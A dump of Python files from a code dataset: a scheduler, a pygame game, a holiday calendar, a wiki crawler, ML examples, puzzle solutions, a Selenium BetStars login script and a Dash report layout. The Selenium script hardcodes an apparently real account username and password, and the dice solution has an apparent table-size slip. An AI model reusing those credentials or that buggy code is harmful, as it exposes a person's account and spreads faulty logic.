1\n except Queue.Empty:\n pass\n return cnt\n\n def _check_select(self):\n cnt_dict = dict()\n for project, task_queue in self.task_queue.iteritems():\n cnt = 0\n taskid = task_queue.get()\n while taskid:\n task = self._load_task_body(taskid)\n task = self.on_select_task(task)\n if task:\n self.out_fifo.put(task)\n taskid = task_queue.get()\n cnt += 1\n cnt_dict[project] = cnt\n return cnt_dict\n\n def __len__(self):\n return sum((len(x) for x in self.task_queue.itervalues()))\n\n def quit(self):\n self._quit = True\n\n def run(self):\n logging.info(\"loading projects\")\n self._load_projects()\n for i, project in enumerate(self.projects.keys()):\n logging.info(\"loading tasks from %s -- %d/%d\" % (\n project, i+1, len(self.projects)))\n self._load_tasks(project)\n self.task_queue[project].rate = self.projects[project]['rate']\n self.task_queue[project].burst = self.projects[project]['burst']\n while not self._quit:\n self._update_projects()\n self._check_task_done()\n self._check_request()\n self._check_select()\n time.sleep(0.1)\n\n def on_new_request(self, task):\n pass\n\n def on_old_request(self, task, old_task):\n pass\n\n def on_task_status(self, task):\n return task\n\n def on_task_done(self, task):\n '''\n called by task_status\n '''\n pass\n\n def on_task_failed(self, task):\n '''\n called by task_status\n '''\n pass\n\n def on_select_task(self, task):\n return task\n","sub_path":"scheduler/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":6014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"629169773","text":"import pygame\nfrom pygame.rect import *\nimport random\nfrom item.bad import badItem\nfrom item.good import goodItem\nfrom obstacle.bird import bird\nfrom player.player import player\n\n#전역변수\nisActive =True\nSCREEN_WIDTH=800\nSCREEN_HEIGHT=800\ntime_delay=0\nbirdNumber=30\n\ndef timeDelay():\n global time_delay\n if time_delay>50:\n time_delay=0\n return True\n time_delay+=1\n return False\n\ndef setText():\n global score\n font=pygame.font.SysFont(\"arial\",20,True,False)\n SCREEN.blit(font.render(f\"score : {player.score}\",True,'red'),(10,10,10,10))\n\ndef makeItem():\n if random.randint(1,1600)==1:\n items.append(badItem())\n elif random.randint(1,1600)==2:\n items.append(goodItem())\n\ndef moveItem():\n for i in range(len(items)):\n items[i].moveItem(SCREEN,SCREEN_WIDTH,SCREEN_HEIGHT)\n if items[i].checkCollision(player.recPlayer):\n for bird in birds:\n bird.setSpeed(items[i].setSpeed())\n\n\npygame.init()\nSCREEN =pygame.display.set_mode((SCREEN_WIDTH,SCREEN_HEIGHT))\npygame.display.set_caption('test')\n\n#item\nitems=[]\n\n#player\nplayer=player(SCREEN,SCREEN_WIDTH,SCREEN_HEIGHT)\n\n#bird\nbirds=[]\nfor i in range(birdNumber):\n birds.append(bird(SCREEN))\n\n\nclock=pygame.time.Clock()\n\ndef makeBird():\n if timeDelay():\n index=random.randint(0,len(birds)-1)\n if birds[index].recBird.x==-1:\n birds[index].makeBird(SCREEN_WIDTH,SCREEN_HEIGHT)\n\n\nwhile isActive:\n SCREEN.fill((255,255,255))\n player.eventProcess()\n player.movePlayer()#유저 이동\n for i in range(birdNumber):\n makeBird()\n birds[i].moveBird(SCREEN_WIDTH,SCREEN_HEIGHT)\n \n player.checkCollision(birds)#충돌\n makeItem()#아이템 생성\n moveItem()#아이템 이동 및 속도 변화\n setText()\n pygame.display.flip()#화면 갱신\n clock.tick(100)","sub_path":"2주차/주영환 과제(2주차)/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"140939489","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.13-intel/egg/holidays/countries/germany.py\n# Compiled at: 2020-03-21 18:46:42\nfrom datetime import date\nfrom dateutil.easter import easter\nfrom dateutil.relativedelta import relativedelta as rd, WE\nfrom holidays.constants import JAN, MAR, MAY, AUG, SEP, OCT, NOV, DEC\nfrom holidays.holiday_base import HolidayBase\n\nclass Germany(HolidayBase):\n \"\"\"Official holidays for Germany in its current form.\n\n This class doesn't return any holidays before 1990-10-03.\n\n Before that date the current Germany was separated into the \"German\n Democratic Republic\" and the \"Federal Republic of Germany\" which both had\n somewhat different holidays. Since this class is called \"Germany\" it\n doesn't really make sense to include the days from the two former\n countries.\n\n Note that Germany doesn't have rules for holidays that happen on a\n Sunday. Those holidays are still holiday days but there is no additional\n day to make up for the \"lost\" day.\n\n Also note that German holidays are partly declared by each province there\n are some weired edge cases:\n\n - \"Mariä Himmelfahrt\" is only a holiday in Bavaria (BY) if your\n municipality is mostly catholic which in term depends on census data.\n Since we don't have this data but most municipalities in Bavaria\n *are* mostly catholic, we count that as holiday for whole Bavaria.\n - There is an \"Augsburger Friedensfest\" which only exists in the town\n Augsburg. This is excluded for Bavaria.\n - \"Gründonnerstag\" (Thursday before easter) is not a holiday but pupils\n don't have to go to school (but only in Baden Württemberg) which is\n solved by adjusting school holidays to include this day. It is\n excluded from our list.\n - \"Fronleichnam\" is a holiday in certain, explicitly defined\n municipalities in Saxony (SN) and Thuringia (TH). We exclude it from\n both provinces.\n \"\"\"\n PROVINCES = [\n 'BW', 'BY', 'BE', 'BB', 'HB', 'HH', 'HE', 'MV', 'NI', 'NW',\n 'RP', 'SL', 'SN', 'ST', 'SH', 'TH']\n\n def __init__(self, **kwargs):\n self.country = 'DE'\n self.prov = kwargs.pop('prov', None)\n HolidayBase.__init__(self, **kwargs)\n return\n\n def _populate(self, year):\n if year <= 1989:\n return\n if year > 1990:\n self[date(year, JAN, 1)] = 'Neujahr'\n if self.prov in ('BW', 'BY', 'ST'):\n self[date(year, JAN, 6)] = 'Heilige Drei Könige'\n self[easter(year) - rd(days=2)] = 'Karfreitag'\n if self.prov == 'BB':\n self[easter(year)] = 'Ostersonntag'\n self[easter(year) + rd(days=1)] = 'Ostermontag'\n self[date(year, MAY, 1)] = 'Erster Mai'\n if self.prov == 'BE' and year == 2020:\n self[date(year, MAY, 8)] = '75. Jahrestag der Befreiung vom Nationalsozialismus und der Beendigung des Zweiten Weltkriegs in Europa'\n self[easter(year) + rd(days=39)] = 'Christi Himmelfahrt'\n if self.prov == 'BB':\n self[easter(year) + rd(days=49)] = 'Pfingstsonntag'\n self[easter(year) + rd(days=50)] = 'Pfingstmontag'\n if self.prov in ('BW', 'BY', 'HE', 'NW', 'RP', 'SL'):\n self[easter(year) + rd(days=60)] = 'Fronleichnam'\n if self.prov in ('BY', 'SL'):\n self[date(year, AUG, 15)] = 'Mariä Himmelfahrt'\n self[date(year, OCT, 3)] = 'Tag der Deutschen Einheit'\n if self.prov in ('BB', 'MV', 'SN', 'ST', 'TH'):\n self[date(year, OCT, 31)] = 'Reformationstag'\n if self.prov in ('HB', 'SH', 'NI', 'HH') and year >= 2018:\n self[date(year, OCT, 31)] = 'Reformationstag'\n if year == 2017:\n self[date(year, OCT, 31)] = 'Reformationstag'\n if self.prov in ('BW', 'BY', 'NW', 'RP', 'SL'):\n self[date(year, NOV, 1)] = 'Allerheiligen'\n if year <= 1994 or self.prov == 'SN':\n base_data = date(year, NOV, 23)\n weekday_delta = WE(-2) if base_data.weekday() == 2 else WE(-1)\n self[base_data + rd(weekday=weekday_delta)] = 'Buß- und Bettag'\n if year >= 2019:\n if self.prov == 'TH':\n self[date(year, SEP, 20)] = 'Weltkindertag'\n if self.prov == 'BE':\n self[date(year, MAR, 8)] = 'Internationaler Frauentag'\n self[date(year, DEC, 25)] = 'Erster Weihnachtstag'\n self[date(year, DEC, 26)] = 'Zweiter Weihnachtstag'\n\n\nclass DE(Germany):\n pass\n\n\nclass DEU(Germany):\n pass","sub_path":"pycfiles/holidays-0.10.2-py2.7/germany.py","file_name":"germany.py","file_ext":"py","file_size_in_byte":4765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"507972412","text":"from urllib.request import urlopen\n#from urllib.error import HTTPError\nfrom bs4 import BeautifulSoup\nimport re\n\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport re\n\npages = set()\ndef getLinks(pageUrl):\n global pages\n html = urlopen('http://ja.wikipedia.org/wiki/Category:%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%82%BF'.format(pageUrl))\n bs = BeautifulSoup(html, 'html.parser')\n try:\n print(bs.h1.get_text())\n print(bs.find(id = 'mw-content-text').findAll('p')[0])\n print(bs.find(id = 'ca-edit').find('span').find('a').attrs['href'])\n except AttributeError:\n print('This page is missing something! No worries though!')\n for link in bs.findAll('a', href = re.compile('^(/wiki/)')):\n if 'href' in link.attrs:\n if link.attrs['href'] not in pages:\n newPage = link.attrs['href']\n print('----------------\\n'+newPage)\n pages.add(newPage)\n getLinks(newPage)\n\ngetLinks('')\n# pages = set()\n# def getLinks(pageUrl):\n# global pages\n# html = urlopen('http://ja.wikipedia.org/wiki/Category:%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%82%BF'.format(pageUrl))\n# bs = BeautifulSoup(html, 'html.parser')\n# for link in bs.findAll('a', href=re.compile('^(/wiki/)')):\n# if 'href' in link.attrs:\n# if link.attrs['href'] not in pages:\n# #새 페이지를 발견\n# newPage = link.attrs['href']\n# print(newPage)\n# pages.add(newPage)\n# getLinks(newPage)\n\n#getLinks('')\n\n# 카테고리 내 페이지 키워드 크롤링\n# html = urlopen('https://ja.wikipedia.org/wiki/Category:%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%82%BF')\n# bs = BeautifulSoup(html, 'html.parser')\n# for link in bs.find('div', {'id':'mw-pages'}).findAll('a',\n# href = re.compile('^(/wiki/)((?!:).)*$')):\n# if 'href' in link.attrs:\n# print(link.attrs['href'])\n\n\n# for child in bs.find('div', {'id': 'mw-pages'}).li.children:\n# print(child)\n\n# 정규 표현식으로 위치를 정확하게 산출 할 수 없을 때 찾는 방법\n# images = bs.findAll('img', {'src': re.compile('\\.\\.\\/img\\/gifts/img.*\\.jpg')})\n# for image in images:\n# print(image['src'])\n\n\n# for sibling in bs.find('table', {'id': 'giftList'}).tr.next_siblings:\n# print(sibling)\n\n# def getTitle(url):\n# try:\n# html = urlopen(url)\n# except HTTPError as e:\n# return None\n# try:\n# bs = BeautifulSoup(html.read(), 'html.parser')\n# title = bs.body.h1\n# except AttributeError as e:\n# return None\n# return title\n#\n# title = getTitle('http://www.pythonscraping.com/pages/warandpeace.html')\n# if title == None:\n# print('Title could not be found')\n# else:\n# print(title)","sub_path":"scrapetest.py","file_name":"scrapetest.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"118090775","text":"import numpy as np\nimport LayerFunc as lf\n\nclass NN (object):\n def __init__(self, features, classes, hid_layers, reg, weight):\n self.features = features\n self.classes = classes\n self.hid_layers = hid_layers\n self.reg = reg\n self.weight = weight\n self.num_layers = 1 + len(hid_layers)\n self.param = {}\n \n dims = [features] + hid_layers + [classes]\n\n for i in range(self.num_layers):\n self.param['W' + str(i + 1)] = weight * np.random.randn(dims[i], dims[i + 1])\n self.param['b' + str(i + 1)] = np.zeros(dims[i + 1])\n\n def loss(self, X_inp, Y_inp = None):\n X_inp = np.reshape(X_inp,(X_inp.shape[0],-1))\n \n grad = {}\n dx = {}\n cache_layer = {}\n layer = {}\n layer[0] = X_inp\n loss = 0.0\n\n\n for i in range(1, self.num_layers):\n layer[i], cache_layer[i] = lf.forward(layer[i - 1], self.param['W%d' % i], self.param['b%d' % i])\n\n WLast = 'W%d' % self.num_layers\n bLast = 'b%d' % self.num_layers\n\n scores, cache_scores = lf.a_forward(layer[self.num_layers - 1],self.param[WLast],self.param[bLast])\n \n if Y_inp is None:\n return scores\n \n loss, dscores = lf.softmax_loss(scores, Y_inp)\n\n for i in range(1, self.num_layers + 1):\n loss += 0.5 * self.reg * np.sum(self.param['W%d' % i]**2)\n\n dx[self.num_layers], grad[WLast], grad[bLast] = lf.a_backward(dscores, cache_scores)\n grad[WLast] += self.reg * self.param[WLast]\n\n for i in reversed(range(1, self.num_layers)):\n dx[i], grad['W%d' % i], grad['b%d' % i] = lf.backward(dx[i + 1], cache_layer[i])\n grad['W%d' % i] += self.reg * self.param['W%d' % i]\n\n return loss, grad\n\n ","sub_path":"Scratch/NN.py","file_name":"NN.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"624607856","text":"\n# @Title: n个骰子的点数 (n个骰子的点数 LCOF)\n# @Author: 18015528893\n# @Date: 2021-02-01 19:07:10\n# @Runtime: 36 ms\n# @Memory: 15.1 MB\n\nclass Solution:\n def dicesProbability(self, n: int) -> List[float]:\n # dp[n][s]表示投第n个骰子时,点数和为s的次数\n dp = [[0] * (6*n+1) for _ in range(1, 67)]\n for i in range(1, 7):\n dp[1][i] = 1\n\n for i in range(2, n+1):\n for j in range(i, i*6+1):\n for k in range(1, 7):\n dp[i][j] += dp[i-1][j-k]\n\n res = []\n for i in range(n, n*6+1):\n res.append(dp[n][i]*1./6**n)\n return res\n\n","sub_path":"Problemset/nge-tou-zi-de-dian-shu-lcof/nge-tou-zi-de-dian-shu-lcof.py","file_name":"nge-tou-zi-de-dian-shu-lcof.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"628390447","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 20 13:22:20 2018\n\n@author: ilyagz\n\"\"\"\n# Random Forest Regression\n# Importing libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n#Importing Dataset\ndataset = pd.read_csv('Position_Salaries.csv')\nX = dataset.iloc[:, 1:2].values\ny = dataset.iloc[:, 2].values\n\n# Fitting Random Forest Regression to the dataset\nfrom sklearn.ensemble import RandomForestRegressor\nregressor = RandomForestRegressor(n_estimators = 100, random_state = 0)\nregressor.fit(X,y)\n\n# Predicting new results\ny_pred = regressor.predict(6.5)\n\n# Visualizing the Random Forest in high-res\nX_grid = np.arange(min(X), max(X), 0.01)\nX_grid = X_grid.reshape((len(X_grid), 1))\nplt.scatter(X, y, color = 'red')\nplt.plot(X_grid, regressor.predict(X_grid), color = 'blue')\nplt.title('Truth or Bluff (Random Forest)')\nplt.xlabel('Position Level')\nplt.ylabel('Salary')\nplt.show()","sub_path":"Part 2 - Regression/6. Random Forest Regression/Random Forest.py","file_name":"Random Forest.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"619538982","text":"import tensorflow as tf\nimport tensorflow.contrib.slim as slim\nimport tensorflow.models\n\n\ndef vgg16(inputs):\n with slim.arg_scope([slim.conv2d, slim.fully_connected], activation_fn=tf.nn.relu,\n weights_initializer=tf.truncated_normal_initializer,\n weights_regularizer=slim.l2_regularizer(0.0005)):\n net = slim.repeat(inputs, 2, slim.conv2d, 64, (3, 3), scope='conv1')\n net = slim.max_pool2d(net, (2, 2), stride=2, scope='pool1')\n net = slim.repeat(net, 2, slim.conv2d, 128, (3, 3), scope='conv2')\n net = slim.max_pool2d(net, (2, 2), stride=2, scope='pool2')\n net = slim.repeat(net, 3, slim.conv2d, 256, (3, 3), scope='conv3')\n net = slim.max_pool2d(net, (2, 2), stride=2, scope='pool3')\n net = slim.repeat(net, 3, slim.conv2d, 512, (3, 3), scope='conv4')\n net = slim.max_pool2d(net, (2, 2), stride=2, scope='pool4')\n net = slim.repeat(net, 3, slim.conv2d, 512, (3, 3), scope='conv5')\n net = slim.max_pool2d(net, (2, 2), stride=2, scope='pool5')\n net = slim.fully_connected(net, 4096, scope='fc6')\n net = slim.dropout(net, 0.5, scope='dropout6')\n net = slim.fully_connected(net, 4096, scope='fc7')\n net = slim.dropout(net, 0.5, scope='dropout6')\n net = slim.fully_connected(net, 1000, activation_fn=None, scope='fc8')\n return net\n\n\nif __name__ == '__main__':\n inputs = tf.random_uniform((10, 240, 240, 3))\n print(inputs)\n net = vgg16(inputs)\n vars = slim.get_model_variables()\n\n with tf.Session() as sess:\n for var in vars:\n print(var.name)\n","sub_path":"Slim/vgg16.py","file_name":"vgg16.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"299550991","text":"#!/usr/bin/env python3\n\nimport re\n\n\ndef calc_coords(wire):\n current_coord = [0, 0] # x,y\n coords = [[0,0]]\n for instruction in wire:\n direction, amount, _ = re.split('([0-9]+)', instruction)\n if direction == 'L':\n for x in range(1,int(amount)+1):\n coords.append(list([current_coord[0]-x,current_coord[1]]))\n current_coord[0] -= int(amount)\n elif direction == 'R':\n for x in range(1,int(amount)+1):\n coords.append(list([current_coord[0]+x,current_coord[1]]))\n current_coord[0] += int(amount)\n elif direction == 'U':\n for y in range(1, int(amount) + 1):\n coords.append(list([current_coord[0], current_coord[1]+y]))\n current_coord[1] += int(amount)\n elif direction == 'D':\n for y in range(1, int(amount) + 1):\n coords.append(list([current_coord[0], current_coord[1] - y]))\n current_coord[1] -= int(amount)\n return coords\n\n\ndef find_shortest_match(wire1_coords, wire2_coords):\n shortest = 9999\n wire1_dict = {}\n for idx1, w1 in enumerate(wire1_coords):\n if w1[0] not in wire1_dict:\n wire1_dict[w1[0]] = {}\n wire1_dict[w1[0]][w1[1]] = idx1\n\n for idx2, w2 in enumerate(wire2_coords):\n if w2[0] in wire1_dict:\n if w2[1] in wire1_dict[w2[0]]:\n dist = int(wire1_dict[w2[0]][w2[1]]) + int(idx2)\n if dist != 0 and dist < shortest:\n shortest = dist\n return shortest\n\n\ndef cross_wires(wire1, wire2):\n wire1_coords = calc_coords(wire1)\n wire2_coords = calc_coords(wire2)\n return find_shortest_match(wire1_coords, wire2_coords)\n\n\nif __name__ == '__main__':\n with open('input', 'r') as file:\n input = file.readlines()\n print('Result: ' + str(cross_wires(list(input[0].split(\",\")), list(input[1].split(\",\")))))\n\n","sub_path":"src/day3/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"654367870","text":"from selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\nfirefox = webdriver.Firefox()\nactions = ActionChains(firefox)\n\n\n#Acessa Betstars\nfirefox.get('https://www.betstars.com/br/')\n\ndef EsperarLoginBetstars(firefox):\n return firefox.find_element_by_id(\"userID\")\n\nLoginBetstars = WebDriverWait(firefox, 20).until(EsperarLoginBetstars)\n\nLoginBetstars = firefox.find_element_by_id(\"userID\")\nSenhaBetstars = firefox.find_element_by_id(\"password\")\nAcessoBetstars = firefox.find_element_by_id(\"loginBtnTxt\")\n\nLoginBetstars.send_keys('VitorSFJoker')\nSenhaBetstars.send_keys('a1a2a3a4')\n\nactions.click(on_element=AcessoBetstars)\nactions.perform()\n\ndef EsperarBauBetstars(firefox):\n return firefox.find_element_by_xpath(\"/html/body/div[1]/div[1]/div[1]/div/div/div[2]/div[1]/div[1]/div/div/div/div/div/div\")\n\nBauBetstars = WebDriverWait(firefox, 20).until(EsperarBauBetstars)\n\nSaldoBetstars = firefox.find_element_by_id(\"bet-slip-balance__value\").get_attribute(\"innerHTML\")\nprint (\"BetStars Saldo:\",SaldoBetstars)","sub_path":"BetStars.py","file_name":"BetStars.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"370126668","text":"from helpers.manhattan import manhattan\n\nclass Battery:\n \"\"\"Battery.\n\n Class Battery:\n - Holds all necessary information about a battery:\n -capacity: initiated as maximum capacity but when houses are connected\n their output is deducted\n -maxCapacity: maximum output, never changes\n - Holds a list of all connected houses so they can be accessed from the\n Battery\n \"\"\"\n def __init__(self, x, y, capacity,id):\n self.location = (x,y)\n self.maxCapacity = capacity\n self.capacity = capacity\n self.id = id\n self.connectedHouses = []\n self.costs = 5000\n self.totalDistance = set()\n self.closestBattery = set()\n self.closestBatteryDistance = set()\n self.batteryType = -1\n\n def totalDistance(self):\n \"\"\"Calculates total distance to all connected houses\"\"\"\n self.totalDistance = 0\n for house in self.connectedHouses:\n self.totalDistance += house.distanc\n\n def showConnections(self):\n \"\"\"Prints out user-friendly output of all connected houses\"\"\"\n print(\"Battery\",self.id,\"is connected to:\")\n for connection in self.connectedHouses:\n print(\"House\",connection.id)\n\n def changeLocation(self, location):\n \"\"\"changeLocation.\n\n Changes the location of the battery and recalculates distance for all\n connected houses.\n \"\"\"\n self.location = (location[0],location[1])\n\n # Change distance when battery is moved\n for house in self.connectedHouses:\n house.distance = manhattan(house, self)\n\n def __str__(self):\n \"\"\"Returns a nice readable overview when battery object is printed\"\"\"\n return(\"Remaining capacity of Battery \" + str(self.id)+ \" : \" + str(self.capacity))\n","sub_path":"classes/battery.py","file_name":"battery.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"339461903","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom Analyst_Shared.graph_maker import Chart as chart\nfrom flask import send_from_directory\nimport os\nimport base64\nfrom Annual_BAP_2018.data import RICData\n\napp = dash.Dash()\n\napp.css.config.serve_locally = True\napp.scripts.config.serve_locally = True\n\n# icons\nclock_icon = 'clock.png'\ncomputer_icon = 'computer.png'\nlocation_icon = 'location.png'\nnewdocument_icon = 'newdocument.png'\nnewperson_icon = 'newperson.png'\npencil_icon = 'pencil.png'\ngroup_icon = 'group.png'\ndollar_icon = 'dollar.png'\nbap_logo = 'bap_logo.png'\n\nheaderfont = 'Avenir'\nbodyfont = 'HelveticaNeue'\ntextcolor = '#333333'\n\nric_names = ['Communitech', 'Haltech', 'IION', 'InnovationFactory', 'InnovationGuelph'\n , 'InvestOttawa', 'LaunchLab', 'MaRS', 'NORCAT', 'NWOIC', 'RICCentre', 'SSMIC', 'SparkCentre'\n , 'TechAlliance', 'ventureLAB', 'WEtech', 'InnovateNiagara']\n\ndata = RICData('WEtech')\n\n\ndef get_icon(image):\n return 'data:image/png;base64,{}'.format(base64.b64encode(open(image, 'rb').read()).decode())\n\n\ndef get_header():\n header = html.Div([\n html.Hr(style=dict(backgroundColor='#95506e', height=10, webkitPrintColorAdjust='exact')),\n html.Img(src=get_icon(data.ric_name + '_header.png'), className='twelve columns',\n style=dict(position='relative', top=-30))\n ], style=dict(position='relative'))\n return header\n\n\ndef get_reach_section():\n reach = html.Div([\n html.Div([\n html.Div([\n html.Div([html.H1(str(data.client_count),\n style=dict(textAlign='right', fontSize=45, position='relative', top=-10,\n fontWeight='bold', fontColor='#4f1a2e', fontFamily=bodyfont,\n color='#4f1a2e'),\n className='two columns'),\n html.P('CLIENTS ACROSS ONTARIO INCLUDING ',\n style=dict(fontSize=24, position='relative', textAlign='left', top=10,\n fontFamily=bodyfont, color=textcolor),\n className='ten columns'),\n ], className='row', style=dict(left=20, position='relative')),\n html.Div([\n html.H1(str(data.youth_client_count),\n style=dict(textAlign='right', fontSize=45, position='relative', top=-10,\n fontWeight='bold', fontColor='#4f1a2e', fontFamily=bodyfont, color='#4f1a2e'),\n className='two columns'),\n html.P('WITH AT LEAST ONE YOUTH FOUNDER',\n style=dict(fontSize=24, position='relative', textAlign='left', top=10,\n fontFamily=bodyfont, color=textcolor),\n className='ten columns')\n ], className='row', style=dict(position='relative', left=20, top=-20)),\n\n # html.H1(str(data.client_count) + ' CLIENTS ACROSS ONTARIO INCLUDING ' + str(data.youth_client_count) +\n # ' WITH AT LEAST ONE YOUTH FOUNDER',\n # style=dict(color='#4f1a2e', fontFamily=bodyfont, fontWeight='bold', fontSize=34, left=50,\n # top=-20, position='relative'))\n ]),\n\n html.Img(src=get_icon(data.ric_name + '_map.png'),\n style=dict(zIndex=1, position='relative', left=50, height=590, top=-20)),\n html.P(#\"THE MAP ABOVE SHOWS THE RIC CLIENT REACH ACROSS ONTARIO\",\n \"The map above shows the RIC Client reach across Ontario.\",\n style=dict(position='relative', zIndex=1,fontWeight=500,\n fontSize=22, height=5, left=50, top=-10))\n ], style=dict(backgroundColor='#f6eff2', webkitPrintColorAdjust='exact', position='relative', top=10),\n className='five columns'),\n html.Div([\n html.Div([\n # Revenue\n html.Div([\n html.Img(\n src=get_icon(dollar_icon),\n style=dict(height=90, width=90, position='relative', display='block', marginLeft='auto',\n marginRight='auto')),\n html.H1(str(data.revenue),\n style=dict(fontWeight='bold', fontSize=50, position='relative', textAlign='center',\n color='#4f1a2e', fontFamily=bodyfont)),\n html.P('IN TOTAL REVENUE',\n style=dict(fontSize=30, textAlign='center', fontFamily=bodyfont, color=textcolor))\n ], style=dict(position='relative'), className='three columns'),\n # Funding\n html.Div([\n html.Img(\n src=get_icon(dollar_icon),\n style=dict(height=90, width=90, position='relative', display='block', marginLeft='auto',\n marginRight='auto')),\n html.H1(data.funding,\n style=dict(fontWeight='bold', fontSize=50, position='relative', textAlign='center',\n color='#4f1a2e', fontFamily=bodyfont)),\n html.P('IN TOTAL FUNDING',\n style=dict(fontSize=30, textAlign='center', fontFamily=bodyfont, color=textcolor))\n ], style=dict(position='relative'), className='three columns'),\n # Jobs\n html.Div([\n html.Img(\n src=get_icon(group_icon),\n style=dict(height=90, width=90, position='relative', display='block', marginLeft='auto',\n marginRight='auto')),\n html.H1(str(data.ft_employees),\n style=dict(fontWeight='bold', fontSize=50, position='relative', textAlign='center',\n color='#4f1a2e', fontFamily=bodyfont)),\n html.P('FULL-TIME EMPLOYEES',\n style=dict(fontSize=30, textAlign='center', fontFamily=bodyfont, color=textcolor)),\n ], className='three columns'),\n # Jobs Created\n html.Div([\n html.Img(\n src=get_icon(newperson_icon),\n style=dict(height=90, width=90, position='relative', display='block', marginLeft='auto',\n marginRight='auto')),\n html.H1(str(data.jobs_created),\n style=dict(fontWeight='bold', fontSize=50, position='relative', textAlign='center',\n color='#4f1a2e', fontFamily=bodyfont)),\n html.P('JOBS CREATED',\n style=dict(fontSize=30, textAlign='center', fontFamily=bodyfont, color=textcolor)),\n ], className='three columns', style=dict(position='relative', )),\n ], className='row', style=dict(position='relative', top=30, right=70)),\n\n # NEW ROW\n html.Div([\n html.P('CLIENT FUNDING BREAKDOWN',\n style=dict(fontWeight='bold', fontFamily=bodyfont, fontSize=45, position='relative', top=90,\n left=20,\n color='#4f1a2e', textAlign='left'), className='four columns'),\n html.Img(src=get_icon(data.ric_name + '_donut.png'), className='eight columns',\n style=dict(position='relative', height=390, top=10))\n ], className='row',\n style=dict(backgroundColor='#ffffff', webkitPrintColorAdjust='exact', height=450, position='relative',\n right=70, top=60))\n\n ], className='seven columns')\n ], className='row', style=dict(backgroundColor='#f6eff2', webkitPrintColorAdjust='exact'))\n\n return reach\n\n\ndef get_client_breakdown():\n breakdown = html.Div([\n html.Div([\n html.H1(\"SNAPSHOT OF \" + data.styled_name + \"'S CLIENTS\",\n style=dict(fontFamily=headerfont, fontSize=80, fontWeight='bold', textAlign='left', left=30,\n position='relative', top=30, color=textcolor))\n ]),\n html.Div([\n # Industry Graph\n html.Div([\n dcc.Graph(figure=chart.basic_horizontal_bar(title='CLIENTS BY INDUSTRY', xlabel=None, ylabel=None,\n titlefontsize=50, font=bodyfont, titlefont=headerfont,\n fontsize=22,\n fontcolor=textcolor, xvalues=data.industry_distribution[2],\n colors=['#633649', '#95506e', '#ae6b87', '#7c2647'],\n # ['#dabec6', '#95506e', '#ae6b87', '#7c2647'],\n yvalues=data.industry_distribution[1],\n backgroundcolor='rgba(0,0,0,0)'),\n id='industry_graph',\n style=dict(position='relative', height=530, left=40, top=150, zIndex=1, width=550)),\n\n ], className='four columns', style=dict(width=550)\n ),\n # Client Age Graph\n html.Div([\n dcc.Graph(\n figure=chart.area_graph(title='CLIENTS BY AGE', titlefontsize=50, font=bodyfont,\n fontcolor=textcolor,\n titlefont=headerfont, xlabel=None, ylabel=None, fontsize=20,\n graphfill='#95506e',\n backgroundcolor='rgba(0,0,0,0)', xvalues=data.age_distribution[1],\n yvalues=data.age_distribution[2]),\n id='age_graph', style=dict(position='relative', height=520, top=20, zIndex=1, width=550, left=70))\n ], className='four columns'\n ),\n # Stage Graph\n html.Div([dcc.Graph(\n figure=chart.stacked_horizontal_bar(title='CLIENTS BY STAGE
OF GROWTH', xlabel=None, ylabel=None,\n font=bodyfont, fontcolor=textcolor, fontsize=20,\n titlefont=headerfont,\n colors=['#d1aeb8', '#95506e', '#ae6b87', '#7c2647', '#4f1a2e'],\n titlefontsize=44, backgroundcolor='rgba(0,0,0,0)',\n xvalues=[data.stage_distribution[2]],\n group_names=data.stage_distribution[1],\n yvalues=[' ']),\n id='stage_graph',\n style=dict(position='relative', height=530, top=150, zIndex=1, left=40, width=600))],\n className='four columns'\n )\n\n ], className='row', style=dict(position='relative', left=20))\n ], style=dict(height=600, backgroundColor='#ecdfe2', webkitPrintColorAdjust='exact', position='relative'))\n\n return breakdown\n\n\ndef get_efficiency():\n efficiency = html.Div([\n # Triangle\n html.Div(\n style=dict(width=0, height=0, borderLeftStyle='solid', borderLeftWidth=1000, borderLeftColor='transparent',\n borderRightStyle='solid', borderRightWidth=1000, borderRightColor='transparent',\n borderBottomStyle='solid', 